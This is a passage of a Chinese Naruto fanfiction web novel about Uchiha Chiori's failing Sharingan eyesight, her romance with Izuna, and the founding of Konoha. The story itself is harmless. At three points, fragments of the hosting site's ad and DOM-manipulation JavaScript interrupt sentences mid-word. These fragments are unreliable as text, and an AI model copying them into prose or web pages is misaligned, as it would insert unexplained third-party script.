虽然理智上明白这点事肯定不会对族长他们造成困扰,以两族的实力,就算大名想要为难,也基本做不到什么,但我就是忍不住地焦虑。 木叶的建立都到了这个地步,我无法忍受中途再出任何一点意外。 就是在这时候,我的房门突然被打开。 是泉奈的查克拉。 我看不清他的脸,因此也不知道他此刻是什么表情、什么模样。 他缓慢地靠近我的方向,我将药碗放到一旁,却突然不安起来。 幻术世界的我看不清还活着的人的脸。 我在最后解开了幻术,将泉奈也送了出去。 ……会不会,最终这个幻术只剩下了我,只困住了我? 眼前的泉奈,也是假的? 但泉奈却问我,这是幻术吗。 我一时之间心乱如麻,这是幻术吗? 这会是幻术对我的欺骗吗? 我原本肯定这就是现实世界,但我此刻真的不敢确定了。 ……或许我的焦虑,全都源于我内心对眼前世界真假的怀疑。 泉奈碰到了我的手。 我下意识地想要回避,可下一刻熟悉的感觉便让我的心安定了下来。 离开常世前,我们紧紧交握着手。 在那个虚幻的世界中,在幻术将要崩塌的前一刻,只剩下我们两人的世界中,那是唯一真实的感官。 正如此时。 不是幻术。 眼前的一切,都是真实的。 54.恋人 细密的春雨打湿枝头新生的嫩叶,一股泥土被打湿的腥气混杂着植物的清香。 沙沙的雨声听起来有些助眠。 今年没有战争,医疗所难得人流稀少,长住的竟然就只有我和泉奈两人,因此养伤的日子总是无比安静的。 泉奈刚醒来那会儿,不顾身体情况就跑到我这里来,没说几句话就被族长给逮回自己的病房,族长直接给泉奈下了禁足令。 多大的人了,堂堂战国时代的名忍,竟然还被家长禁足。 我没忍住在房间里笑出声,一墙之隔的泉奈在自己的房间里敲了两下墙。 笃笃的两声后,泉奈的声音传了过来:“千织,我听得见。” “哎呀,”这样的感觉太新奇了,我也学着他,坐到墙边轻倚着,轻轻地曲起手指,指节轻轻叩了一下墙,然后有些不好意思,找补说道,“我只是想起小时候族长不允许我们去训练场的事了。” 我靠着墙,想到另一边的泉奈也可能是这样挨着墙的,脸上不由涌上一股热意。 明明中间隔了一层墙的,怎么会奇妙地觉得我们的距离无比近呢? 泉奈那边突然没了声音,过了一会儿,他才慢吞吞道:“关于那件事……抱歉,千织,我一直欠了你一个道歉。” 我怔了一下:“什么?” “那时候,我明明知道不应该的,却还是没办法接受哥哥的死,还怪在了你身上……我一直想对你道歉,”泉奈说道,“那时候的我,太弱小了。” 我想起那时候的事,心中有些复杂:“其实也并不能怪你,是我故意那样说误导你的,而且后来……” 辉的死给我的打击太大了,他不是什么不熟悉所以即便死掉我也可以不用在意的人,而是每天/朝夕相处、会互相切磋、会相互问候的人。 即使那时候我不愿意承认,但是…… 辉确确实实是我的朋友,是我不希望死掉、却在剧本中注定死掉的朋友。 他是我在宇智波交到的第一个朋友——火核不算,火核是哥哥。 “你一直都在,真是太好了,泉奈。”我轻声说道。 一开始和泉奈在训练场切磋的时候,我明白自己也在发泄自己那些不知道该何处使的负面情绪。 但是后来……真的是习惯了。 每天按照固定的程序,去老师那里上课,然后放学出来就能见到泉奈,再一起去训练场,即使那时候我们的关系不好,但也让人莫名心安。 那会让我有一种自己正过着平淡生活的错觉。 泉奈一点一点地,融入了我的生活。 就像是每天都要吃饭、喝水一样的日常,见到他后去训练场也是一种日常。 泉奈那边突然传来奇怪的声音,像是什么东西掉在了地上。 我有些担心问他那边怎么了。 “没什么!”泉奈紧张的声音穿过来,然后他犹豫地说,“千织……我想见你。” 我揉了揉发烫的脸颊,安慰他:“那你要好好养伤,等斑大人解开你的禁足才行。” “其实不用那么麻烦,”他尝试着和我商量,“我们可以把这面墙打通。” “……” “……” “千织?” 我都忘记他不在我面前了,猛地站起身,对着一片模糊的墙壁大声说道:“不可以!总之就是不可以!” 虽然只是一面墙的小事,忍者们想做什么都轻松无比。 但是! 会社死的!一定会社死的! 泉奈你不要在这种事上脑袋灵光啊! 到时候宇智波泉奈和宇智波千织就不是宇智波一族著名的忍者,而是“那两个在养伤的时候居然把医疗所病房给打通的人”了,这种事绝对不能发生! 在我的强烈抗议下,泉奈继续和我保持着隔墙通话的关系。 每天我们都闲得不行,只能各种找话题,像是喝药的时候都会敲一下墙和隔壁分享一下今天药物的口感,顺便关心一下隔壁有没有喝药。 这么过了几天后,泉奈的禁足令才解除。 我眼睛出问题的事还是没瞒过泉奈。 我觉得奇怪,问他怎么看出来的。 “大概是我有过经验了吧,”泉奈一边叹息着,一边抚上我的眼角,“千织,你太逞强了。” 我:…… 这是什么地狱笑话吗? 而且论逞强,还是泉奈更胜一筹吧。 我别开脸,不太服气:“我不觉得逼迫斑大人接受眼睛的人有资格说我。” 接着我就被泉奈偷袭了。 柔软的触感从唇上挪开,我有些恼怒地谴责泉奈:“宇智波泉奈!” 他的语气有些无辜:“怎么了?” “你、你应该和我说一声才能做这种事的!”我有些语无伦次,不对,好像也不该这么说,总之他的偷袭太突然了! “这样吗?抱歉,”泉奈的声音极具诚意,就在我觉得自己的反应是不是有些过激的时候,他含笑的声音就在耳边响起,“那么,千织小姐,我现在可以亲吻你吗?” 这家伙绝对是故意的! 脸上的热气简直可以直接表演个火遁了,我大声道:“不可以!” 泉奈闷笑了一声,他牵住我的手,问我:“要出去走走吗?最近很无聊吧?” 我安静下来。 这里是两族结盟后的临时驻地,不远处就是两族打算建村的地方。虽然大名那边还没有将那片土地正式划分给两族,但建村的准备工作仍然在进行当中。 也正是因为这里不是族地,我对附近的环境不太熟悉,视力又有些影响,我就没怎么外出过。 “你也太敏锐了,”我回握住泉奈的手,“不用走太远,在附近走走就好。” 泉奈牵着我往外走,语气中没有半分对之前失明时的怨怼:“大概是因为我有过这种经验吧。” “……你这样说,让我觉得我以前根本不够关心你。”我只是视力恶化,生活的不便就已经很明显了。 泉奈之前却是完全看不见。 “台阶,”泉奈一边提醒我脚下的路,一边有些无奈,“千织,在这上面你也想分出胜负吗?你也清楚,我那时候并不想让其他人看见我。” 好像也对。 那时候泉奈自己也不想出门。 我们拐上了一条人流有些多的大路,眼中出现了不少来去匆匆的像素人,街边有些临时摊贩,是附近城町的商人嗅到商机后赶来的。 “更何况,”泉奈的语气稍微迟疑了一下,他的声音小了不少,“那时候你也没有义务对我做什么,我们离 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了婚,你会来看我,就已经是意外之喜了。” 我若有所思地转头看向泉奈,模糊的长发色块在他背后轻轻摇晃,我不觉联想到逗猫棒之类的东西。 他握住我的手微微用了些力,似乎是有些紧张。 “那现在,我们是什么关系?”我问他。 在不久前,我们甚至还因为这个话题吵了架,如今想来,简直恍如隔世。 “……千织,”泉奈的语气有些诧异,大概顾忌着我们还在公共场合,他压着声音,“我们现在难道不是恋人吗?” 我迟缓地眨了下眼睛。 我们现在算交往吗?但是没有表……等等,我们确实都表白过了。 但是,这就交往了吗?正常来说确实是互相表白后就进入交往阶段,但是为什么我总觉得不太对劲。 我有些茫然:“恋人的话,会做些什么?我们现在,算是约会吗?” 既然这样也算约会,那我们以前一起出门逛街逛祭典看烟花又算什么? 算没有感情的正常外出游玩吗? 我自己都不信。 #交往以前把交往的时候能做的事都做过了,交往后该怎么办? 泉奈也不由沉默了。 “还是有些不一样,”最后,泉奈试图给我们以前做的傻事找补,“至少我们以前不承认在交往,也不会说情话。” 这话还不如不说呢。 老实说要不是现在看不清,我很想看看此刻泉奈的表情是什么样的。 我们一致决定略过这个话题。 逛了一会儿后,我们遇上了一个卖木雕的铺子。 我和泉奈大概同时都想到了他那一抽屉的木雕,当下都有些尴尬。 木雕老板招呼我们看看他的货品,为了逃避尴尬,我拿起一个木雕摸了起来。 “……”这是一只猫的木雕。 我问老板多少钱,他报了个有些高的价格:“忍者大人,这可是京里有名的木雕师的作品,巧合之下才到了我的手上。” 泉奈似乎想说什么,我拉了下他的袖子,转头把钱付了。 回来的路上泉奈问我怎么突然想着买这个。 毕竟我们俩都会雕木雕。 我把手上的小猫木雕递过去,冲他眨了眨眼:“你再看看?” “你要是想要的话,我也可以做来送……”泉奈有些不太服气地接过木雕翻看起来,说着说着话就没了后文。 我抿着唇笑着挽住他的手:“本来就是你送我的呀,我只是重新买回来而已。” 当初泉奈寄了不少木雕拿给我卖,这尊我的印象有些深,因为我怀疑他是照着我们的忍猫雕的。 所以当初拿到手里的时候我观察得很仔细,刚才虽然有些不太确认,但老板一说是京里流出来的,我就知道是泉奈雕的了。 “不是很重要的东西,当初就是为了让你卖掉才……”泉奈嘟囔道。 我认真地打断他:“但对现在的我而言,泉奈你送的每样东西对我来说意义都不同,没有遇上就算了,遇到了我当然会想买回来嘛。” “……”泉奈停下了脚步。 “泉奈?” “千织,你还活着,真是太好了。”他和我说没事,然后说我们回去吧。 一如既往,语气平和。 55.吃醋 千手和宇智波的结盟联手不止让周边忍族感受到了危机,纷纷依附投靠,京中的大名也为此有些不安。 尤其是在族长将大名使者扔出去后。 眼见两族就算不被允许也打算建村,建村许可和土地归属权的问题被拖无可拖后,大名的使者又一次来了。 据火核说,这一次使者的态度好上了不少。 “毕竟也不是谁都想被斑大人扔出去。”前车之鉴就在那呢,火核说这话的时候,语带轻蔑。 养伤的时日里,我身上的伤渐渐好全了,得亏当初宇智波龙之介用的不是致命毒,不过眼睛还是老样子。 这时候已经快要入夏,千手扉间来过好几次,但只说还在研究治疗的办法。 目前需要治的万花筒就我一个,如果没有万全把握,顾及到和宇智波的关系,千手扉间也不会直接把治疗方式用到我的身上。 我听了也没抱太大希望,毕竟原著里也没提过万花筒写轮眼弊端的其他解法。 说实话,开了那么久常世后,我的眼睛竟然还能看见东西,已经很出乎我的意料了。 泉奈要比我早些离开医疗所。建村在即,要忙的事务有很多,他视力又恢复了,一离开医疗所就被抓去工作。 “而且,千手柱间那家伙的性格……” 泉奈来看我的时候,说起之前我不在时,千手族长在其他忍族投奔的时候表现太过大方的事。他半天想不出个合适的词来形容千手族长,最终啧了一声,道:“总之,斑哥太任由千手柱间胡来了。” 族长过于放任千手族长的决定,千手扉间又是千手族长的弟弟,在千手族长铁了心想做一件事的时候,根本拦不住。 到最后,竟然是关系比较疏远的泉奈说话效果好一些。 面对族长,千手柱间会极力争取他的认可,但是在面对泉奈的时候,千手族长那些挚友啊天启啊之类迷惑人心的话反而不太好说出口。 另一方面,族长也会考虑泉奈的意见。 在我不知道的时候,两族族长的弟弟为了阻止千手族长太过胡来,竟然暗地里结盟了。 “……”我大为震撼。 不愧是初代火影,轻易做到了其他人做不到的事! 搬出医疗所的前一天,千手扉间定期来检查我的眼睛受瞳力侵蚀的情况,之后迟迟没说话。 ……? 不是,扉间大夫,您好歹吱一声啊,这么沉默我是得了不治之症吗? “宇智波千织,”千手扉间终于开口,却说起和眼睛没有关联的事,“两族结盟后,至少在结盟期间,两族是一荣俱荣,一损俱损。” 怎么突然提起结盟的事? “我知道,我不反对结盟。”我以为千手扉间是在警告我。 我看起来有那么像主战派吗? 这话得和泉奈说吧。 “……我不是这个意思,”千手扉间的语气有些微妙,“你的写轮眼,太危险了。” 我没太理解这两个话题之间的关联。 要是担心我用万花筒破坏结盟……说实话除非我能率先控住住千手柱间,不然我完全没胜算。 算了,别想了,搞得我能控制得住千手柱间一样,这种事我梦都不敢梦。 但要说千手扉间会因为忌惮我的万花筒而故意拖延治疗,他倒也不是这种人。 他大可以直接拒绝,没必要遮遮掩掩。 “开门见山吧,千手扉间。你到底想说什么?”我问他。 “你的眼睛对联盟而言是必要的,”千手扉间回答道,“但我担心你会做出危害联盟的事。” ? 我怎么不知道自己有这么危险的。 “你是从哪里下的断论?”我感觉有点莫名其妙。 “你如何将羽衣信引出羽衣一族的?”千手扉间直接问道。 室内瞬间安静下来。 白短炸像素人站在我不远处,我能感觉到千手扉间正在十分仔细地观察我。 啊,被发现了。 不如说,不被发现才奇怪。 当初调查羽衣的任务如果顺利完成,我只用报告个结果就完事,自然不会有其他风险。 可惜最后发生的意外导致真生回来后必然要向族长汇报任务的详细经过,看后来卷入常世的人员构成来开,千手族长他们也一定旁听了。 我倒不担心真生会将我控制智子夫人的事说出去。只是提到用任务将羽衣信引去这件事,就自然而言地会让人去思考这任务是从哪里来的。 那么我做了什么就很容易猜到。 威逼利诱,总能占上一点。 市原家的领主还去世了。 不过族长和泉奈都没和我提起这件事,我还以为就这么过去了,没想到在千手扉间这里等着。 “为了完成任务罢了,”我弯起唇角,抬眼看向千手扉间,什么都没承认,“所以呢?千手扉间,就因为这个,你认为我这样的人很危险?那你想要做什么?” “大名的使者已经抵达,他们不会、”千手扉间说到这的时候改了下措辞,“不敢提出过分的要求。” 这有些出乎我的意料,我还以为他张口就要来上一段类似宇智波威胁论的话。毕竟刻板印象在那,没想到他竟然十分冷静地和我解释。 “大哥和……斑,他们为了和平而促成两族结盟。再启争端,就完全失去了结盟的意义。结盟后的忍族,也足够令大名正眼相待。”他说。 妥协确实可以换来一时的和平,因为如今的两族拥有足够的筹码。 但远远不够。 “你误会了,我不会乱来,”这个拥有忍术的世界有太多方式可以达成目的,比如带土就曾以幻术控制四代水影从而操控雾隐,而且我有自知之明,我只是一个普通的忍者,与族长和千手族长他们的实力差了一大截,“只不过,千手扉间,两族结盟后触手可得的和平,究竟是因为众人畏惧的千手和宇智波,还是畏惧两族族长呢?” “你说你是为了联盟才和我说这些,那我也是。我们这一代忍者去世后,两族的联盟凭什么继续保证话语权?” 原著中的火之国还好,忍村和大名之间保持着相对平等的地位。可惜到了后期,大名甚至能够插手火影的人选。 其他忍村更不用说,风之国大名为了遏制忍者的发展竟然不惜卡砂忍村的预算,就算是这样,砂忍们都没想过造反。 除此之外,自千手族长死后,接二连三爆发的忍界大战更是违背了忍村制度建立的初心,打到年幼的忍者再度被送上战场。 千手扉间收回了他的目光。 他转头看向门外:“我明白你的立场了,希望你能如你所说,不会乱来。” 我垂下眼帘,淡淡道:“现在是建村的关键时刻,我分得清事情的轻重缓急。” 当务之急,先得名正言顺地建立起忍村。 按任务单数算的忍族和定期给予经济支持、代表一国军事力量的忍村终究不一样。 有了公开承认的身份后,以后想做什么都会更方便。 ……再有一点就是,现在忍族的人还是太少了。徒有力量而无管理上的人才,即便夺得了权力,在治理途中也会遇上难题,而沿用贵族的那一套核心人手,就又回到了原点。 不过千手扉间最后走的时候还是没说我的眼睛现在是什么情况。 我不禁猜测他的实验是不是有了进展,才突然和我扯了那么一大堆的。 考虑到这个世界向来好的不灵坏的灵,我还是别抱太大期望。 离开医疗所的时候,爸爸妈妈来接我,刚好和泉奈的分/身撞上。 那一刻我还是有点庆幸自己看不清他们脸上的表情。 只要我感觉不到,尴尬的就不是我。 谁知泉奈竟然一点异样都没有,直接和爸爸妈妈说是来送我回住的地方。 双方气氛融洽,爸爸妈妈还对泉奈说麻烦他了,好像我和泉奈此刻待在一起是件极为正常的事。 临时驻地不大,大部分族人都是住在族地里,而且族中也确实有需要保护的孩子,一般都是白天赶到各族都在的驻地里晚上族地。 泉奈用方便后续身体检查的理由说服了爸爸妈妈,让我就住在驻地这边,免得来回跑麻烦。 听爸爸妈妈的语气,他们一开始是有些犹豫的,但是不知道为什么他们又改了口,妈妈还特意走到我身边扶住了我。 “诶?”我有些不好意思,推了推妈妈的手臂,“我的伤好得差不多了,没事的妈妈。” “等会儿我们就回去了,我陪陪你。”妈妈摸了摸我的脑袋。 泉奈替我找的住所是个小单间,在临时驻地里这已经是很不错的条件了。一排房间挨在一起,有点像公寓的样子了,其他忍族的人也住在这。 确认新住处没有缺少的东西后,爸爸妈妈才离开,而后泉奈和我说他们大概发现我的视力不对了。 泉奈从旁边将我的忍刀递过来,我仔细地检查了一遍后将它带在身边,稍微心安了些。 我一边清点着手头上的忍具放进忍具包,一边点头:“我猜到了。” 他们改口的时机太奇怪了,而且妈妈扶着我的时候总是要走得比我快一些。 他们只是看出来我想瞒着他们而已。 比起这些,爸爸妈妈没问我泉奈的事,我还更奇怪些。 我把我的苦恼和泉奈说了,主要是以后该怎么和他们解释这点实在难办。 难道我要对他们说“爸爸妈妈,虽然我和泉奈现在离婚了,但我们现在正在交往”吗? 这也太奇怪了! “之前你也常来找我,”泉奈说道,“其实我们俩待在一起没有什么奇怪的。” 这样吗?! 回忆起之前泉奈眼睛出问题时我三天两头 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 往他家跑的事,我发现还真是这样。 接着泉奈又带着我熟悉临时驻地的路和几个功能性地点的位置,挨个部门都带我去看了看。 “今天你先休息,下周是忍族间的会谈,各族都要提出往后村子的治理方案,族里的方案还没做完,你明天去帮火核吧。”泉奈安排道。 “村子啊……名字取好了吗?”我问泉奈。 他的声音有些奇异的古怪,像是有些骄傲,又有点不太喜欢的样子:“嗯,斑哥取的名字,就叫木叶。千手柱间取的首领称谓,叫火影。” 我问他是对木叶和火影里的哪个名字不满意。 泉奈拉着我手往回走,听了我的话后沉默了好半天,在进门的时候突然开口:“……好吧,其实也不是不喜欢这两个名字。只是我确实不喜欢千手柱间那家伙,尤其是知道他和哥哥的查克拉前世是兄弟后——斑哥明明是我的哥哥。” 我有些惊讶,他看出来了,问我在想什么。 “怎么说呢……没想到你会这么直接地告诉我,我以为你会觉得丢脸不想说。” “同样的错我不会再犯了。”他说。 “同样的错?” “……如果我早一点告诉你我喜欢你,我们现在根本不会只是恋人。”他在后面关上门,而后从背后抱住我,脑袋轻轻蹭着我的颈窝。 颈间被他搞得一阵痒意,我差点没站稳,下意识抓紧他环在身前的小臂维持重心:“泉奈!” 不行,就不该把后背暴露给他人!我整个人被他环住,身后无法忽略的气息让我万分紧张。 “千织……” “你先别说话!”我立刻打断他,他一说话,呼吸说话的气流就打在脖颈间,让我下意识就想逃离。 而且、而且……再这么下去估计就得进展到绿江红锁内容去了! 上次结婚的时候明明约好什么都不做的,最后不也是因为两个人单独在一起挨得太近才发生了不该发生的事吗! “隔壁能听见的,泉奈,”我暗示他,“快松开。” 这一次泉奈迟迟没说话。 他微微挪开了自己的脑袋,用一种如梦初醒的语气说道:“原来你在想这个吗……隔壁是我的房间,其他人现在也都还没回来。” 我是不是误会什么了……不对,就算是误会,泉奈现在好像也打算把误会变成事实! “等等——” “千织,我真的好想你,大名的使者真的很烦人,每天都要和他们纠缠,太讨厌了……”宇智波泉奈打断我的话。 “卖惨是没有用的,我铁石心肠!” “……” 我总觉得自己忘了什么。 等到房门被敲响,我开门看见门口拎着食盒的泉奈,忽然愣住了。 等一下,没记错的话,跟我一起回来的泉奈是分/身…… 门外的泉奈语带笑意,想来应该是微笑着的:“千织,我带了晚饭回来,我们一起吃——” 我脸色一变,就要关门,但是已经来不及了。 噗的一声,房间里的泉奈分/身被泉奈解除消失。 沉默。 淹没了临时公寓的走道。 大抵是终于接收完下午发生了什么的记忆,泉奈终于出声,咬牙切齿:“……你们怎么能这样?” 我纠正他:“不是‘你们’,是我们。” “那家伙只是被我送来照顾你的分/身!就像你之前问我幻术外的你和现实的你有什么差别一样,他根本不该做这种事!”泉奈说得理直气壮,也说得我哑口无言。 我就知道会变成这种情况! 毕竟我之前都会因为幻术的我先被表白而吃醋! 眼看着到了其他忍者回来的时间,站在门口讨论这种事实在不是个事。 我扯着泉奈进了屋,反手合上门,先下手为强,推锅道:“还不是你的原因?” “我?”他愕然道。 “你现在已经同步记忆了吧?明明是泉奈你先主动的,怎么能怪我?” 我取下他手里的食盒放到一边,虽然看不清他的脸,仍然步步紧逼,盯着他的脸:“分/身会做出这种事,还不是泉奈你本来就心怀不轨!” 真是的,本来就在热恋期,一上头哪里还记得对面是本尊还是分/身。 “……” “退一万步来说,现在你也同步了记忆嘛!”说到底分/身和本体本来就是一个人呀! “……” 泉奈一言不发,看来已经被我说服了。我视线转向刚才放食盒的地方,放软语气:“好啦,现在我们先吃晚饭——” 手腕突然被泉奈紧紧攥住,骤然被封住的唇齿间呼吸都差点缓不过来。 我紧紧地盯着泉奈,又好气又好笑。 我以为我吃吃幻术里的自己的醋已经够出格了,但是怎么会有人吃自己分/身的醋吃到这种程度呀! 56.比赛 大名使者带着木叶方要求的独立行政权条件离开的那天,千手扉间照例检查完我的眼睛,然后留了一小罐眼膏给我。 他说这是刚做出来的新药,目的是为了延缓瞳力侵蚀,虽然还没人试过,但动物实验结果里药物的副作用不是很大。 小小一罐眼膏,大概用不了一周,膏体泛着浅淡的绿色,闻起来有种说不出来的味道。 我问他介不介意让我知道这药是用什么做的。 “你不会想知道的,宇智波千织。”千手扉间在诡异地沉默了片刻后这么回答我。 一半的可能,千手扉间想保密。 另一半的可能,他这话是认真的。 我决定放弃探究即将用在自己眼睛里的药的原料,有时候还是不要有过多好奇,这只会给自己带来更多烦恼。 曾几何时我也是个对什么都很好奇的人,后来我知道了康复○液的原料是某种顽强的有翅昆虫。 药这种东西,有效就行。 眼膏的效果出乎意料得好。 抹上眼膏后,我能清晰地感知到一股温和的能量渗入眼部经络,暂时中和掉侵略性极强的瞳力。 药膏的作用方式让我联想到之前千手扉间提过的零星几句他的实验……果然不能问药的做法。 总之扉大夫真是妙手回春。 感觉按他的进度研究下去,视力恢复正常也能提上日程了。 因为提前说好了村、火影的位置是通过选举表决出来的,而千手又在结盟后屡次帮了宇智波的忙——包括但不限于给泉奈换了双眼睛,所以族长没打算和千手族长争,最后各族族长推举千手族长做了火影。 所以等到各族会谈的时候,我们宇智波就交了另一份提案,包括火影候选人的提名资格*、火影□□和在任期内逝世的紧急预案、关于副村长的任命以及限制条件等内容。 这份提案一开始送到族长那里去的时候,族长对副村长位置的设立目的极为费解:“千织,你认为柱间会在当火影的时候出事吗?” 谁知道呢。 反正忍界谁能打得过你俩啊,得把月球上的辉夜姬放出来才行吧。 我只知道有个火影在特殊时期于牺牲前将火影的位子传给了自己的学生。 我没有针对谁,毕竟那种情况下,那位火影的行为不能说错,但无疑开了个坏头。 虽然那位火影研究的新药还在我手上。 “不能放任千手在忍村独大,”泉奈在一旁和他哥解释,“千手和我们本就长久对立,他们拿到了火影之位,其他小族必定争相依附,想来会将我们宇智波看作大敌。” 提案中限制副村长的出身不可以与火影同出一族,却又受火影任命。 凭后一点,支持千手的忍族就不会反对,但千手族长能选的人……大概也只有族长。 泉奈还没放弃在他哥面前上眼药:“斑哥,千手柱间的为人究竟如何,就看他到时候会让谁来做副村长。” 退一万步来讲,木叶是千手和宇智波结盟的产物,一族族长当了村长,另一族族长却没有任何名头,任谁心底都会起疑虑。 现在可不同于原著,宇智波又不是在族长战败二首领战亡的情况下结盟的,我们有足够的优势。 会谈那天是泉奈和他哥去参加的,这天族里安排族人们正式搬进木叶,我守在族地看看有没有人需要帮忙。 虽然现在看大家的脸还不太清楚,但奇异的是我发现族人们在搬迁的时候更多的是带着期待的心情。 一个个像素人们开心得就跟在常……嗯,我什么都没想。 “千织大人!”中途惠理沙抱着个小孩子跑来找我,“最近好久没见您了,您伤好些了吗?” 小小的像素人语气活泼,我顺手薅了把她的头发,嗯了一声,又问她怀里抱着的是谁。 惠理沙说是小镜。 比起龙之介的儿子,小镜在我这里的身份更多的是凉真的弟弟。 而且当初为了不节外生枝,对外宣传龙之介他们的死因是战死,真相只有几个人知道。 于是我同样揉了揉这个孩子柔软的胎发。 小镜一点也不畏惧生人,抓住我的一根手指笑出声。 真好,这些孩子要好好长大才行。 “前段时间在驻地那边忙,你这段时间过得怎么样?”我和惠理沙解释了一声,让她别担心。 惠理沙的语气有些苦恼:“最近有好好训练,不过长老们都不许我们接任务出门了。” 挺好的,过段时间就把你们都送进学校,毕业考完下忍才能出来做任务。 我在心中残忍地想着。 木叶的建设已经初具雏形,各族为自己的聚集地选位置。 宇智波的居所位于木叶中心附近,千手族长却把千手的位置选到了靠外围的地方。 千手族长邀请族长去他家做客的时候顺便也把我和泉奈都捎带邀请了。 族长和千手族长聊起这件事的时候,千手族长毫不介意地说想住在植物多一点的地方。 他指着窗外正对着的荒废田野和族长说,以后那里会种满麦子,到时候推开门就能看见满眼雪白的麦花,等田里收获了他会记得送麦子给族长的。 好接地气的千手族长。 我努力回忆记忆里玖辛奈看见这块地里种的是什么。很遗憾,我记不太清了。 族长当时端着茶杯喝茶,听起来似乎很不以为意,说宇智波不缺这一口吃的。 回去后泉奈和我蛐蛐千手柱间,说今天哥哥在听了千手柱间那些话后笑了。 泉奈强调他哥的笑不是嘲笑。 我觉得泉奈有点向泉管家的趋势转变,再这么下去我真怕哪天泉奈会来上一句“哥哥很久没有这么笑过了”。 于是我就问他千手扉间的表情。 泉奈回想了一会儿,心情大好,下结论:“千手扉间完全不想看见我们出现在那里。” 这么看来千手柱间真是辛苦,宇智波和千手的交流全靠他和半个族长来维持。 之所以是半个,是因为族长不阻碍,就已经是支持了。 泉奈又问我为什么没把住址选在族地里。我在挑住房的时候挑到了商业街附近。 我不知道该怎么说,选地方的时候是下意识的,因为我想起后来的宇智波一族集体搬迁和灭族了。 当时我下意识地想,要是真有那么一天,这房子总能保留下来最后留给族里的遗孤住吧。 当然,另一个原因是这样生活真的很方便。 “嗯……我想看看新村子的样子嘛。”最后我这么回他。 泉奈沉默了好一会儿,才用手轻轻碰了碰我的眼睛:“会好起来的。” 大概是为了增强说服力,泉奈顿了顿后继续说道:“千手扉间那家伙,虽然作为对手确实足够讨厌,但不可否认的是,那家伙在研究忍术这些东西上很厉害。” 哇。 我凑近去看泉奈,也伸手去碰他的脸,一边回忆着他的样子,笑着说:“好可惜。” “什么?”他愣了愣。 我郑重其事地说道:“你居然会这么夸奖千手扉间,想看看你的表情。” “……千织。”泉奈有些无奈。 “嗯嗯?”我微微点头,鼻尖冷不丁相触地蹭了蹭。停顿片刻,我假装无事发生,和他拉开距离。 泉奈却拉着我的手,在他脸上慢慢地触碰。 指尖碰触到他的眉心时,他用着平稳的声音说:“刚才大概是皱着眉的,不过现在不是了。还有这里……” 他的手带着我往下。 我只觉得指尖发烫,着急忙慌地把手抽回去。 这家伙都是从哪里学的套路!怎么感觉最近相处的时候他越来越游刃有余了。 “怎么了?”泉奈的声音中沾染了些笑意。 我抿了下唇:“你故意的。” 现在谁在我眼中都是像素人,区区像素人,别想诱惑我。 “因为千织你太可爱了。”泉奈贴近了些,把头埋在我肩头抱着我笑。 “……” 真是的! 我好歹也是堂堂忍者,可爱是用来形容忍者的吗! 脑子里刚一冒出这个念头,我的脑子突然宕机了一下……等等,我和泉奈剧本是不是拿反了? (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 正常来说,应该是我夸他可爱,然后他回我“可爱,是用来形容我吗?我好歹也是个男人”这种台词才对嘛。 我被想象的内容逗笑了,泉奈问我在想什么。 “在想泉奈也很可爱。”我一本正经地回答他。 “……可爱?”泉奈迟疑地重复了一遍这个形容词。 我:来了!接下来就是—— “好吧,”泉奈的反应却并非如我以为的那样,反而有些兴致勃勃地问我,“在千织眼中,哪些地方算可爱呢?” “什、什么?” 这家伙怎么老说些出人意料的话! “回答不出来吗?”泉奈的语气低落起来,“原来千织你是骗我的吗?” “等一下——!”不对劲,哪里不对劲。 我企图找回主动权:“这个话题是你先提起的,应该是你先说吧!” “好像是这样,”泉奈一副恍然大悟的模样,“那我们轮流说吧,不可以重复,输的人……” 这就开始比试了吗! 我睁大眼睛:不能重复,这样一来先说的人不就有优势了吗! 我连忙打断他:“一次只能说一个!” 泉奈笑意更深:“可以,那我先说了——” 他的手轻轻落到我的耳廓上,猝不及防下我一个激灵抖了一下,问他干嘛。 “小千你害羞的时候,耳朵会红。” 怎么突然叫小名了! 我下意识就想站起身,结果被泉奈用手按着肩制止了:“就像现在的这样。” “宇智波泉奈!”可恶!他使诈! 我脑子瞬间乱糟糟的,想要扳回一城,大声道:“你也会这样!” “哎呀,不算,这一点重复了,”泉奈的语气轻飘飘的,像一阵风一样掠过耳边,“小千你得重新想一个,不然就是我赢了。” 我握了握拳头:“谁说我刚才是在回答了,我还没回答呢!” “你的名字听起来会有种可爱的感觉!然后——” 泉奈轻轻咳了一声,打断道:“轮到我了。” 看着他脸上的色块悄然变红了一个度,我若有所思。 他肯定害羞了! 毕竟泉奈这个名字真的很可爱! 这么你来我往互相比了好久,泉奈终于认输。 “那你想对我做什么呢,千织?”泉奈遗憾地叹气,问我。 我皱着眉想了想,又觉得不公平。 明明赢了是开心的事,但是—— 这么简单的比试他也会输给我,太过分了! “千织?”见我不出声,泉奈又问。 我扬了扬下巴:“再给你一次机会好了,明天我们再比一次,你不准输!” “那如果又输了呢?” “那你就去对千手扉间说结盟之后真是辛苦你了!” 我大怒。赢一个小游戏哪里难了!这家伙太过分了,只听我夸他吗! 泉奈沉默了一会儿。 “我们现在就重新比吧。”他说道。 等到晚上睡觉的时候,我越想越不对劲,突然想起小时候他一直喊我小千的事。 ……等等,他故意的吧! 我翻过身坐起来。灯光昏暗,泉奈坐在一旁看文件,注意到我起身后问我怎么还不睡。 “你故意的。”我说。 “嗯,”泉奈很大方地承认,他放下文件,声音带着几许温柔,“因为听小千说这些,就能感受到小千正爱着我。” “……” 我有点讨厌现在模糊的视力了,想要认认真真地看清他的样子。 “你可以直说嘛,”我微微侧过脸,“这么幼稚地发起比赛,就像个小孩子一样,说不定还会惹我生气。” 对着不喜欢的人,怎么能找出对方可爱的点呢? 我拿手背贴了贴脸颊给自己降温:“说多少次都没有问题,我喜欢你。” 收回前言,像素人也可以是魅魔,反正我对像素人版的泉奈抵抗力依旧为零。 “我也是,”泉奈坐到我身侧,俯首轻轻碰了碰我的唇,“我也爱你,千织。” 57.后来 木叶建立的第四年,早春。 从市原城回木叶的路上时,天色转阴,厚重的云层积压在天幕之上,不多时便飘起了雪。 我拢了拢脖颈间的围巾,加快了赶路速度。 回到火影楼复命的时候,千手族长问起市原城的事。 绕路去了趟市原城的事被发现,我没怎么意外,回答起来。 